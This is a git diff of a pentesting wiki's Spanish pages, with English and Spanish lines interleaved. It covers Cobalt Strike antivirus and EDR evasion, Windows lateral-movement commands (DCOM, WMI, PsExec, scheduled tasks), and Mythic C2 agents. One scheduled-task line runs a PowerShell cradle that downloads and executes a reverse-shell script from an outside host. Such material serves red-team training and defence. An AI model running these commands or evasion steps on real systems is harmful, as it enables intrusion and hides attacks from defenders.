`\\.\pipe\postex_ssh_####`. Cámbialo con `set ssh_pipename "";`. + +También en el ataque de post explotación, los pipes `\\.\pipe\postex_####` se pueden modificar con `set pipename ""`. + +En los perfiles de Cobalt Strike también puedes modificar cosas como: + +- Evitar usar `rwx` +- Cómo funciona el comportamiento de inyección de procesos (qué APIs se utilizarán) en el bloque `process-inject {...}` +- Cómo funciona el "fork and run" en el bloque `post-ex {…}` +- El tiempo de espera +- El tamaño máximo de los binarios que se cargarán en memoria +- La huella de memoria y el contenido DLL con el bloque `stage {...}` +- El tráfico de red + +### Bypass de escaneo de memoria + +Algunos EDRs escanean la memoria en busca de algunas firmas de malware conocidas. Cobalt Strike permite modificar la función `sleep_mask` como un BOF que podrá cifrar en memoria el backdoor. + +### Inyecciones de proc ruidosas + +Al inyectar código en un proceso, esto suele ser muy ruidoso, esto se debe a que **ningún proceso regular suele realizar esta acción y porque las formas de hacerlo son muy limitadas**. Por lo tanto, podría ser detectado por sistemas de detección basados en comportamiento. Además, también podría ser detectado por EDRs que escanean la red en busca de **hilos que contengan código que no esté en disco** (aunque procesos como navegadores que utilizan JIT tienen esto comúnmente). Ejemplo: [https://gist.github.com/jaredcatkinson/23905d34537ce4b5b1818c3e6405c1d2](https://gist.github.com/jaredcatkinson/23905d34537ce4b5b1818c3e6405c1d2) + +### Spawnas | Relaciones PID y PPID + +Al generar un nuevo proceso, es importante **mantener una relación padre-hijo regular** entre los procesos para evitar la detección. Si svchost.exec está ejecutando iexplorer.exe, parecerá sospechoso, ya que svchost.exe no es un padre de iexplorer.exe en un entorno normal de Windows. + +Cuando se genera un nuevo beacon en Cobalt Strike, por defecto se crea un proceso utilizando **`rundll32.exe`** para ejecutar el nuevo listener. Esto no es muy sigiloso y puede ser fácilmente detectado por EDRs. Además, `rundll32.exe` se ejecuta sin argumentos, lo que lo hace aún más sospechoso. + +Con el siguiente comando de Cobalt Strike, puedes especificar un proceso diferente para generar el nuevo beacon, haciéndolo menos detectable: +```bash +spawnto x86 svchost.exe +``` +Puedes también cambiar esta configuración **`spawnto_x86` y `spawnto_x64`** en un perfil. + +### Proxying attackers traffic + +A veces, los atacantes necesitarán poder ejecutar herramientas localmente, incluso en máquinas Linux, y hacer que el tráfico de las víctimas llegue a la herramienta (por ejemplo, NTLM relay). + +Además, a veces, para realizar un ataque de pass-the-hash o pass-the-ticket, es más sigiloso para el atacante **agregar este hash o ticket en su propio proceso LSASS** localmente y luego pivotar desde él en lugar de modificar un proceso LSASS de una máquina víctima. + +Sin embargo, debes tener **cuidado con el tráfico generado**, ya que podrías estar enviando tráfico poco común (¿kerberos?) desde tu proceso de puerta trasera. Para esto, podrías pivotar a un proceso de navegador (aunque podrías ser atrapado inyectándote en un proceso, así que piensa en una forma sigilosa de hacerlo). +```bash + +### Avoiding AVs + +#### AV/AMSI/ETW Bypass + +Check the page: + +{{#ref}} +av-bypass.md +{{#endref}} + + +#### Artifact Kit + +Usually in `/opt/cobaltstrike/artifact-kit` you can find the code and pre-compiled templates (in `/src-common`) of the payloads that cobalt strike is going to use to generate the binary beacons. + +Using [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck) with the generated backdoor (or just with the compiled template) you can find what is making defender trigger. It's usually a string. Therefore you can just modify the code that is generating the backdoor so that string doesn't appear in the final binary. + +After modifying the code just run `./build.sh` from the same directory and copy the `dist-pipe/` folder into the Windows client in `C:\Tools\cobaltstrike\ArtifactKit`. -Después de modificar el código, solo ejecuta `./build.sh` desde el mismo directorio y copia la carpeta `dist-pipe/` en el cliente de Windows en `C:\Tools\cobaltstrike\ArtifactKit`. ``` pscp -r root@kali:/opt/cobaltstrike/artifact-kit/dist-pipe . ``` -No olvides cargar el script agresivo `dist-pipe\artifact.cna` para indicar a Cobalt Strike que use los recursos del disco que queremos y no los que están cargados. -### Kit de Recursos +Don't forget to load the aggressive script `dist-pipe\artifact.cna` to indicate Cobalt Strike to use the resources from disk that we want and not the ones loaded. -La carpeta ResourceKit contiene las plantillas para las cargas útiles basadas en scripts de Cobalt Strike, incluyendo PowerShell, VBA y HTA. +#### Resource Kit + +The ResourceKit folder contains the templates for Cobalt Strike's script-based payloads including PowerShell, VBA and HTA. + +Using [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck) with the templates you can find what is defender (AMSI in this case) not liking and modify it: -Usando [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck) con las plantillas, puedes encontrar qué es lo que el defensor (AMSI en este caso) no acepta y modificarlo: ``` .\ThreatCheck.exe -e AMSI -f .\cobaltstrike\ResourceKit\template.x64.ps1 ``` -Modificando las líneas detectadas se puede generar una plantilla que no será atrapada. -No olvides cargar el script agresivo `ResourceKit\resources.cna` para indicar a Cobalt Strike que use los recursos del disco que queremos y no los que están cargados. +Modifying the detected lines one can generate a template that won't be caught. + +Don't forget to load the aggressive script `ResourceKit\resources.cna` to indicate Cobalt Strike to luse the resources from disk that we want and not the ones loaded. + +#### Function hooks | Syscall + +Function hooking is a very common method of ERDs to detect malicious activity. Cobalt Strike allows you to bypass these hooks by using **syscalls** instead of the standard Windows API calls using the **`None`** config, or use the `Nt*` version of a function with the **`Direct`** setting, or just jumping over the `Nt*` function with the **`Indirect`** option in the malleable profile. Depending on the system, an optino might be more stealth then the other. + +This can be set in the profile or suing the command **`syscall-method`** + +However, this could also be noisy. + +Some option granted by Cobalt Strike to bypass function hooks is to remove those hooks with: [**unhook-bof**](https://github.com/Cobalt-Strike/unhook-bof). + +You could also check with functions are hooked with [**https://github.com/Mr-Un1k0d3r/EDRs**](https://github.com/Mr-Un1k0d3r/EDRs) or [**https://github.com/matterpreter/OffensiveCSharp/tree/master/HookDetector**](https://github.com/matterpreter/OffensiveCSharp/tree/master/HookDetector) + + + + ```bash -cd C:\Tools\neo4j\bin -neo4j.bat console -http://localhost:7474/ --> Change password -execute-assembly C:\Tools\SharpHound3\SharpHound3\bin\Debug\SharpHound.exe -c All -d DOMAIN.LOCAL +cd C:\Tools\neo4j\bin +neo4j.bat console +http://localhost:7474/ --> Cambiar contraseña +execute-assembly C:\Tools\SharpHound3\SharpHound3\bin\Debug\SharpHound.exe -c All -d DOMAIN.LOCAL +# Cambiar powershell +C:\Tools\cobaltstrike\ResourceKit +template.x64.ps1 +# Cambiar $var_code -> $polop +# $x --> $ar +cobalt strike --> script manager --> Load --> Cargar C:\Tools\cobaltstrike\ResourceKit\resources.cna - -# Change powershell -C:\Tools\cobaltstrike\ResourceKit -template.x64.ps1 -# Change $var_code -> $polop -# $x --> $ar -cobalt strike --> script manager --> Load --> Cargar C:\Tools\cobaltstrike\ResourceKit\resources.cna - -#artifact kit -cd C:\Tools\cobaltstrike\ArtifactKit +#artifact kit +cd C:\Tools\cobaltstrike\ArtifactKit pscp -r root@kali:/opt/cobaltstrike/artifact-kit/dist-pipe . - - ``` - diff --git a/src/windows-hardening/lateral-movement/README.md b/src/windows-hardening/lateral-movement/README.md index c51327a42..3f1a96fbb 100644 --- a/src/windows-hardening/lateral-movement/README.md +++ b/src/windows-hardening/lateral-movement/README.md @@ -10,8 +10,10 @@ Hay diferentes maneras de ejecutar comandos en sistemas externos, aquí puedes e - [**AtExec / SchtasksExec**](atexec.md) - [**WinRM**](winrm.md) - [**DCOM Exec**](dcom-exec.md) -- [**Pass the cookie**](https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.html) (nube) -- [**Pass the PRT**](https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.html) (nube) -- [**Pass the AzureAD Certificate**](https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.html) (nube) +- [**RDPexec**](rdpexec.md) +- [**SCMexec**](scmexec.md) +- [**Pass the cookie**](https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.html) (cloud) +- [**Pass the PRT**](https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.html) (cloud) +- [**Pass the AzureAD Certificate**](https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.html) (cloud) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/lateral-movement/atexec.md b/src/windows-hardening/lateral-movement/atexec.md index 672800cae..212d0fa0a 100644 --- a/src/windows-hardening/lateral-movement/atexec.md +++ b/src/windows-hardening/lateral-movement/atexec.md @@ -4,7 +4,7 @@ ## ¿Cómo funciona? -At permite programar tareas en hosts donde conoces el nombre de usuario/(contraseña/Hash). Así que, puedes usarlo para ejecutar comandos en otros hosts y obtener la salida. +At permite programar tareas en hosts donde conoces el nombre de usuario/(contraseña/hash). Así que, puedes usarlo para ejecutar comandos en otros hosts y obtener la salida. ``` At \\victim 11:00:00PM shutdown -r ``` @@ -18,10 +18,18 @@ schtasks /run /tn /S schtasks /create /S dcorp-dc.domain.local /SC Weekely /RU "NT Authority\SYSTEM" /TN "MyNewtask" /TR "powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.X/InvokePowerShellTcp.ps1''')'" schtasks /run /tn "MyNewtask" /S dcorp-dc.domain.local ``` +Puedes usar **Impacket's `atexec.py`** para ejecutar comandos en sistemas remotos utilizando el comando AT. Esto requiere credenciales válidas (nombre de usuario y contraseña o hash) para el sistema objetivo. +```bash +atexec.py 'DOMAIN'/'USER':'PASSWORD'@'target_ip' whoami +``` También puedes usar [SharpLateral](https://github.com/mertdas/SharpLateral): ```bash SharpLateral schedule HOSTNAME C:\Users\Administrator\Desktop\malware.exe TaskName ``` +Puedes usar [SharpMove](https://github.com/0xthirteen/SharpMove): +```bash +SharpMove.exe action=taskscheduler computername=remote.host.local command="C:\windows\temp\payload.exe" taskname=Debug amsi=true username=domain\\user password=password +``` Más información sobre el [**uso de schtasks con tickets plateados aquí**](../active-directory-methodology/silver-ticket.md#host). {{#include ../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/lateral-movement/dcom-exec.md b/src/windows-hardening/lateral-movement/dcomexec.md similarity index 82% rename from src/windows-hardening/lateral-movement/dcom-exec.md rename to src/windows-hardening/lateral-movement/dcomexec.md index 40d132052..3da3bcf28 100644 --- a/src/windows-hardening/lateral-movement/dcom-exec.md +++ b/src/windows-hardening/lateral-movement/dcomexec.md @@ -10,21 +10,21 @@ Los objetos del Modelo de Objetos de Componente Distribuido (DCOM) presentan una ```bash Get-CimInstance Win32_DCOMApplication ``` -El objeto COM, [Clase de Aplicación MMC (MMC20.Application)](https://technet.microsoft.com/en-us/library/cc181199.aspx), permite la automatización de operaciones de complementos MMC. Notablemente, este objeto contiene un método `ExecuteShellCommand` bajo `Document.ActiveView`. Más información sobre este método se puede encontrar [aquí](). Verifique su funcionamiento: +El objeto COM, [MMC Application Class (MMC20.Application)](https://technet.microsoft.com/en-us/library/cc181199.aspx), permite la automatización de operaciones de complementos de MMC. Notablemente, este objeto contiene un método `ExecuteShellCommand` bajo `Document.ActiveView`. Más información sobre este método se puede encontrar [aquí](). Verifique su funcionamiento: Esta función facilita la ejecución de comandos a través de una red mediante una aplicación DCOM. Para interactuar con DCOM de forma remota como administrador, se puede utilizar PowerShell de la siguiente manera: -```powershell +```bash [activator]::CreateInstance([type]::GetTypeFromProgID("", "")) ``` Este comando se conecta a la aplicación DCOM y devuelve una instancia del objeto COM. Luego se puede invocar el método ExecuteShellCommand para ejecutar un proceso en el host remoto. El proceso implica los siguientes pasos: Check methods: -```powershell +```bash $com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "10.10.10.10")) $com.Document.ActiveView | Get-Member ``` Obtener RCE: -```powershell +```bash $com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "10.10.10.10")) $com | Get-Member @@ -45,18 +45,23 @@ Se destacaron dos objetos específicos, `ShellBrowserWindow` y `ShellWindows`, d Para `ShellWindows`, que carece de un ProgID, los métodos .NET `Type.GetTypeFromCLSID` y `Activator.CreateInstance` facilitan la instanciación del objeto utilizando su AppID. Este proceso aprovecha OleView .NET para recuperar el CLSID de `ShellWindows`. Una vez instanciado, es posible interactuar a través del método `WindowsShell.Item`, lo que lleva a la invocación de métodos como `Document.Application.ShellExecute`. Se proporcionaron ejemplos de comandos de PowerShell para instanciar el objeto y ejecutar comandos de forma remota: -```powershell +```bash +# Example $com = [Type]::GetTypeFromCLSID("", "") $obj = [System.Activator]::CreateInstance($com) $item = $obj.Item() $item.Document.Application.ShellExecute("cmd.exe", "/c calc.exe", "c:\windows\system32", $null, 0) + +# Need to upload the file to execute +$COM = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.APPLICATION", "192.168.52.100")) +$COM.Document.ActiveView.ExecuteShellCommand("C:\Windows\System32\calc.exe", $Null, $Null, "7") ``` ### Movimiento Lateral con Objetos DCOM de Excel -El movimiento lateral se puede lograr explotando objetos DCOM de Excel. Para obtener información detallada, es recomendable leer la discusión sobre cómo aprovechar Excel DDE para el movimiento lateral a través de DCOM en [el blog de Cybereason](https://www.cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcom). +El movimiento lateral se puede lograr explotando objetos DCOM de Excel. Para obtener información detallada, se recomienda leer la discusión sobre el aprovechamiento de Excel DDE para el movimiento lateral a través de DCOM en [el blog de Cybereason](https://www.cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcom). El proyecto Empire proporciona un script de PowerShell, que demuestra la utilización de Excel para la ejecución remota de código (RCE) manipulando objetos DCOM. A continuación se presentan fragmentos del script disponible en [el repositorio de GitHub de Empire](https://github.com/EmpireProject/Empire/blob/master/data/module_source/lateral_movement/Invoke-DCOM.ps1), que muestran diferentes métodos para abusar de Excel para RCE: -```powershell +```bash # Detection of Office version elseif ($Method -Match "DetectOffice") { $Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName") @@ -88,13 +93,25 @@ Se destacan dos herramientas para automatizar estas técnicas: ```bash SharpLateral.exe reddcom HOSTNAME C:\Users\Administrator\Desktop\malware.exe ``` +- [SharpMove](https://github.com/0xthirteen/SharpMove): +```bash +SharpMove.exe action=dcom computername=remote.host.local command="C:\windows\temp\payload.exe\" method=ShellBrowserWindow amsi=true +``` ## Herramientas Automáticas - El script de Powershell [**Invoke-DCOM.ps1**](https://github.com/EmpireProject/Empire/blob/master/data/module_source/lateral_movement/Invoke-DCOM.ps1) permite invocar fácilmente todas las formas comentadas de ejecutar código en otras máquinas. +- Puedes usar `dcomexec.py` de Impacket para ejecutar comandos en sistemas remotos utilizando DCOM. +```bash +dcomexec.py 'DOMAIN'/'USER':'PASSWORD'@'target_ip' "cmd.exe /c whoami" +``` - También podrías usar [**SharpLateral**](https://github.com/mertdas/SharpLateral): ```bash SharpLateral.exe reddcom HOSTNAME C:\Users\Administrator\Desktop\malware.exe ``` +- También podrías usar [**SharpMove**](https://github.com/0xthirteen/SharpMove) +```bash +SharpMove.exe action=dcom computername=remote.host.local command="C:\windows\temp\payload.exe\" method=ShellBrowserWindow amsi=true +``` ## Referencias - [https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/](https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/) diff --git a/src/windows-hardening/lateral-movement/psexec-and-winexec.md b/src/windows-hardening/lateral-movement/psexec-and-winexec.md index ab04780e1..f31963903 100644 --- a/src/windows-hardening/lateral-movement/psexec-and-winexec.md +++ b/src/windows-hardening/lateral-movement/psexec-and-winexec.md @@ -1,4 +1,4 @@ -# PsExec/Winexec/ScExec +# PsExec/Winexec/ScExec/SMBExec {{#include ../../banners/hacktricks-training.md}} @@ -16,6 +16,7 @@ El proceso se describe en los pasos a continuación, ilustrando cómo se manipul Suponiendo que hay una carga útil ejecutable (creada con msfvenom y ofuscada usando Veil para evadir la detección de antivirus), llamada 'met8888.exe', que representa una carga útil de meterpreter reverse_http, se llevan a cabo los siguientes pasos: - **Copiando el binario**: El ejecutable se copia al recurso compartido ADMIN$ desde un símbolo del sistema, aunque puede colocarse en cualquier parte del sistema de archivos para permanecer oculto. +- En lugar de copiar el binario, también es posible usar un binario LOLBAS como `powershell.exe` o `cmd.exe` para ejecutar comandos directamente desde los argumentos. Ej. `sc create [ServiceName] binPath= "cmd.exe /c [PayloadCommand]"` - **Creando un servicio**: Utilizando el comando `sc` de Windows, que permite consultar, crear y eliminar servicios de Windows de forma remota, se crea un servicio llamado "meterpreter" que apunta al binario subido. - **Iniciando el servicio**: El paso final implica iniciar el servicio, lo que probablemente resultará en un error de "tiempo de espera" debido a que el binario no es un binario de servicio genuino y no devuelve el código de respuesta esperado. Este error es irrelevante ya que el objetivo principal es la ejecución del binario. @@ -25,12 +26,23 @@ La observación del listener de Metasploit revelará que la sesión se ha inicia Encuentra pasos más detallados en: [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/) -**También podrías usar el binario PsExec.exe de Windows Sysinternals:** +- También podrías usar el **binario PsExec.exe de Windows Sysinternals**: ![](<../../images/image (928).png>) -También podrías usar [**SharpLateral**](https://github.com/mertdas/SharpLateral): +O acceder a él a través de webddav: +```bash +\\live.sysinternals.com\tools\PsExec64.exe -accepteula +``` +- También podrías usar [**SharpLateral**](https://github.com/mertdas/SharpLateral): ```bash SharpLateral.exe redexec HOSTNAME C:\\Users\\Administrator\\Desktop\\malware.exe.exe malware.exe ServiceName ``` +- También podrías usar [**SharpMove**](https://github.com/0xthirteen/SharpMove): +```bash +SharpMove.exe action=modsvc computername=remote.host.local command="C:\windows\temp\payload.exe" amsi=true servicename=TestService +SharpMove.exe action=startservice computername=remote.host.local servicename=TestService +``` +- También podrías usar **Impacket's `psexec` y `smbexec.py`**. + {{#include ../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/lateral-movement/rdpexec.md b/src/windows-hardening/lateral-movement/rdpexec.md new file mode 100644 index 000000000..08af517b3 --- /dev/null +++ b/src/windows-hardening/lateral-movement/rdpexec.md @@ -0,0 +1,15 @@ +# RDPexec + +{{#include ../../banners/hacktricks-training.md}} + +## Cómo Funciona + +**RDPexec** es básicamente para ejecutar comandos iniciando sesión en el sistema usando RDP. + +Para más información consulta: + +{{#ref}} +../../network-services-pentesting/pentesting-rdp.md +{{#endref}} + +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/lateral-movement/scmexec.md b/src/windows-hardening/lateral-movement/scmexec.md new file mode 100644 index 000000000..dd8011d37 --- /dev/null +++ b/src/windows-hardening/lateral-movement/scmexec.md @@ -0,0 +1,15 @@ +# DCOM Exec + +{{#include ../../banners/hacktricks-training.md}} + +## SCM + +**SCMExec** es una técnica para ejecutar comandos en sistemas remotos utilizando el Service Control Manager (SCM) para crear un servicio que ejecute el comando. Este método puede eludir algunos controles de seguridad, como el User Account Control (UAC) y Windows Defender. + +## Tools + +- [**https://github.com/0xthirteen/SharpMove**](https://github.com/0xthirteen/SharpMove): + +SharpMove.exe action=scm computername=remote.host.local command="C:\windows\temp\payload.exe" servicename=WindowsDebug amsi=true + +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/lateral-movement/smbexec.md b/src/windows-hardening/lateral-movement/smbexec.md deleted file mode 100644 index 8995e6cab..000000000 --- a/src/windows-hardening/lateral-movement/smbexec.md +++ /dev/null @@ -1,38 +0,0 @@ -# SmbExec/ScExec - -{{#include ../../banners/hacktricks-training.md}} - - -## Cómo Funciona - -**Smbexec** es una herramienta utilizada para la ejecución remota de comandos en sistemas Windows, similar a **Psexec**, pero evita colocar archivos maliciosos en el sistema objetivo. - -### Puntos Clave sobre **SMBExec** - -- Opera creando un servicio temporal (por ejemplo, "BTOBTO") en la máquina objetivo para ejecutar comandos a través de cmd.exe (%COMSPEC%), sin dejar caer ningún binario. -- A pesar de su enfoque sigiloso, genera registros de eventos para cada comando ejecutado, ofreciendo una forma de "shell" no interactiva. -- El comando para conectarse usando **Smbexec** se ve así: -```bash -smbexec.py WORKGROUP/genericuser:genericpassword@10.10.10.10 -``` -### Ejecutando Comandos Sin Binarios - -- **Smbexec** permite la ejecución directa de comandos a través de binPaths de servicio, eliminando la necesidad de binarios físicos en el objetivo. -- Este método es útil para ejecutar comandos únicos en un objetivo Windows. Por ejemplo, emparejarlo con el módulo `web_delivery` de Metasploit permite la ejecución de una carga útil de Meterpreter inversa dirigida a PowerShell. -- Al crear un servicio remoto en la máquina del atacante con binPath configurado para ejecutar el comando proporcionado a través de cmd.exe, es posible ejecutar la carga útil con éxito, logrando la devolución de llamada y la ejecución de la carga útil con el listener de Metasploit, incluso si ocurren errores de respuesta del servicio. - -### Ejemplo de Comandos - -Crear e iniciar el servicio se puede lograr con los siguientes comandos: -```bash -sc create [ServiceName] binPath= "cmd.exe /c [PayloadCommand]" -sc start [ServiceName] -``` -Para más detalles, consulta [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/) - -## Referencias - -- [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/) - - -{{#include ../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/lateral-movement/wmiexec.md b/src/windows-hardening/lateral-movement/wmiexec.md index e97b80bce..6ef41662d 100644 --- a/src/windows-hardening/lateral-movement/wmiexec.md +++ b/src/windows-hardening/lateral-movement/wmiexec.md @@ -6,13 +6,13 @@ Los procesos pueden abrirse en hosts donde se conocen el nombre de usuario y la contraseña o hash a través del uso de WMI. Los comandos se ejecutan utilizando WMI mediante Wmiexec, proporcionando una experiencia de shell semi-interactiva. -**dcomexec.py:** Utilizando diferentes puntos finales de DCOM, este script ofrece un shell semi-interactivo similar a wmiexec.py, aprovechando específicamente el objeto DCOM ShellBrowserWindow. Actualmente es compatible con MMC20. Objetos de Aplicación, Ventanas de Shell y Ventana del Navegador de Shell. (source: [Hacking Articles](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/)) +**dcomexec.py:** Utilizando diferentes puntos finales de DCOM, este script ofrece un shell semi-interactivo similar a wmiexec.py, aprovechando específicamente el objeto DCOM ShellBrowserWindow. Actualmente es compatible con MMC20. Application, Shell Windows y Shell Browser Window objects. (source: [Hacking Articles](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/)) ## Fundamentos de WMI ### Espacio de Nombres -Estructurado en una jerarquía de estilo de directorio, el contenedor de nivel superior de WMI es \root, bajo el cual se organizan directorios adicionales, denominados espacios de nombres. +Estructurado en una jerarquía de estilo de directorio, el contenedor de nivel superior de WMI es \root, bajo el cual se organizan directorios adicionales, denominados espacios de nombres. Comandos para listar espacios de nombres: ```bash # Retrieval of Root namespaces @@ -57,7 +57,7 @@ $c.methods # Method listing and invocation Invoke-WmiMethod -Class win32_share -Name Create -ArgumentList @($null, "Description", $null, "Name", $null, "c:\share\path",0) ``` -## Enumeración WMI +## Enumeración de WMI ### Estado del Servicio WMI @@ -87,7 +87,7 @@ wmic sysaccount list /format:list ``` La consulta remota de WMI para información específica, como administradores locales o usuarios conectados, es factible con una construcción cuidadosa de comandos. -### **Consulta Remota WMI Manual** +### **Consulta WMI Remota Manual** La identificación sigilosa de administradores locales en una máquina remota y usuarios conectados se puede lograr a través de consultas WMI específicas. `wmic` también admite la lectura de un archivo de texto para ejecutar comandos en múltiples nodos simultáneamente. @@ -97,14 +97,30 @@ wmic /node:hostname /user:user path win32_process call create "empire launcher s ``` Este proceso ilustra la capacidad de WMI para la ejecución remota y la enumeración del sistema, destacando su utilidad tanto para la administración del sistema como para el pentesting. -## Referencias - -- [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/) - ## Herramientas Automáticas - [**SharpLateral**](https://github.com/mertdas/SharpLateral): ```bash SharpLateral redwmi HOSTNAME C:\\Users\\Administrator\\Desktop\\malware.exe ``` +- [**SharpWMI**](https://github.com/GhostPack/SharpWMI) +```bash +SharpWMI.exe action=exec [computername=HOST[,HOST2,...]] command=""C:\\temp\\process.exe [args]"" [amsi=disable] [result=true] +# Stealthier execution with VBS +SharpWMI.exe action=executevbs [computername=HOST[,HOST2,...]] [script-specification] [eventname=blah] [amsi=disable] [time-specs] +``` +- [**https://github.com/0xthirteen/SharpMove**](https://github.com/0xthirteen/SharpMove): +```bash +SharpMove.exe action=query computername=remote.host.local query="select * from win32_process" username=domain\user password=password +SharpMove.exe action=create computername=remote.host.local command="C:\windows\temp\payload.exe" amsi=true username=domain\user password=password +SharpMove.exe action=executevbs computername=remote.host.local eventname=Debug amsi=true username=domain\\user password=password +``` +- También podrías usar **Impacket's `wmiexec`**. + + +## Referencias + +- [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/) + + {{#include ../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/mythic.md b/src/windows-hardening/mythic.md new file mode 100644 index 000000000..886c292d1 --- /dev/null +++ b/src/windows-hardening/mythic.md @@ -0,0 +1,165 @@ +# Mythic + +## ¿Qué es Mythic? + +Mythic es un marco de comando y control (C2) modular y de código abierto diseñado para red teaming. Permite a los profesionales de la seguridad gestionar y desplegar varios agentes (payloads) en diferentes sistemas operativos, incluyendo Windows, Linux y macOS. Mythic proporciona una interfaz web fácil de usar para gestionar agentes, ejecutar comandos y recopilar resultados, lo que lo convierte en una herramienta poderosa para simular ataques del mundo real en un entorno controlado. + +### Instalación + +Para instalar Mythic, sigue las instrucciones en el **[repositorio oficial de Mythic](https://github.com/its-a-feature/Mythic)**. + +### Agentes + +Mythic soporta múltiples agentes, que son los **payloads que realizan tareas en los sistemas comprometidos**. Cada agente puede ser adaptado a necesidades específicas y puede ejecutarse en diferentes sistemas operativos. + +Por defecto, Mythic no tiene ningún agente instalado. Sin embargo, ofrece algunos agentes de código abierto en [**https://github.com/MythicAgents**](https://github.com/MythicAgents). + +Para instalar un agente de ese repositorio, solo necesitas ejecutar: +```bash +sudo ./mythic-cli install github https://github.com/MythicAgents/ +sudo ./mythic-cli install github https://github.com/MythicAgents/apfell +``` +Puedes agregar nuevos agentes con el comando anterior incluso si Mythic ya está en funcionamiento. + +### Perfiles de C2 + +Los perfiles de C2 en Mythic definen **cómo se comunican los agentes con el servidor Mythic**. Especifican el protocolo de comunicación, los métodos de cifrado y otras configuraciones. Puedes crear y gestionar perfiles de C2 a través de la interfaz web de Mythic. + +Por defecto, Mythic se instala sin perfiles, sin embargo, es posible descargar algunos perfiles del repositorio [**https://github.com/MythicC2Profiles**](https://github.com/MythicC2Profiles) ejecutando: +```bash +sudo ./mythic-cli install github https://github.com/MythicC2Profiles/> +sudo ./mythic-cli install github https://github.com/MythicC2Profiles/http +``` +## [Apollo Agent](https://github.com/MythicAgents/Apollo) + +Apollo es un agente de Windows escrito en C# utilizando el .NET Framework 4.0 diseñado para ser utilizado en las ofertas de capacitación de SpecterOps. + +Instálalo con: +```bash +./mythic-cli install github https://github.com/MythicAgents/Apollo.git +``` +Este agente tiene muchos comandos que lo hacen muy similar al Beacon de Cobalt Strike con algunos extras. Entre ellos, soporta: + +### Acciones comunes + +- `cat`: Imprimir el contenido de un archivo +- `cd`: Cambiar el directorio de trabajo actual +- `cp`: Copiar un archivo de una ubicación a otra +- `ls`: Listar archivos y directorios en el directorio actual o en la ruta especificada +- `pwd`: Imprimir el directorio de trabajo actual +- `ps`: Listar procesos en ejecución en el sistema objetivo (con información adicional) +- `download`: Descargar un archivo del sistema objetivo a la máquina local +- `upload`: Subir un archivo de la máquina local al sistema objetivo +- `reg_query`: Consultar claves y valores del registro en el sistema objetivo +- `reg_write_value`: Escribir un nuevo valor en una clave del registro especificada +- `sleep`: Cambiar el intervalo de sueño del agente, que determina con qué frecuencia se comunica con el servidor Mythic +- Y muchos otros, usa `help` para ver la lista completa de comandos disponibles. + +### Escalación de privilegios + +- `getprivs`: Habilitar tantos privilegios como sea posible en el token del hilo actual +- `getsystem`: Abrir un manejador a winlogon y duplicar el token, escalando efectivamente los privilegios al nivel de SYSTEM +- `make_token`: Crear una nueva sesión de inicio de sesión y aplicarla al agente, permitiendo la suplantación de otro usuario +- `steal_token`: Robar un token primario de otro proceso, permitiendo que el agente suplante al usuario de ese proceso +- `pth`: Ataque Pass-the-Hash, permitiendo que el agente se autentique como un usuario usando su hash NTLM sin necesidad de la contraseña en texto plano +- `mimikatz`: Ejecutar comandos de Mimikatz para extraer credenciales, hashes y otra información sensible de la memoria o de la base de datos SAM +- `rev2self`: Revertir el token del agente a su token primario, efectivamente reduciendo los privilegios al nivel original +- `ppid`: Cambiar el proceso padre para trabajos de post-explotación especificando un nuevo ID de proceso padre, permitiendo un mejor control sobre el contexto de ejecución del trabajo +- `printspoofer`: Ejecutar comandos de PrintSpoofer para eludir las medidas de seguridad del spooler de impresión, permitiendo la escalación de privilegios o la ejecución de código +- `dcsync`: Sincronizar las claves Kerberos de un usuario a la máquina local, permitiendo el cracking de contraseñas fuera de línea o ataques adicionales +- `ticket_cache_add`: Agregar un ticket Kerberos a la sesión de inicio de sesión actual o a una especificada, permitiendo la reutilización de tickets o la suplantación + +### Ejecución de procesos + +- `assembly_inject`: Permite inyectar un cargador de ensamblado .NET en un proceso remoto +- `execute_assembly`: Ejecuta un ensamblado .NET 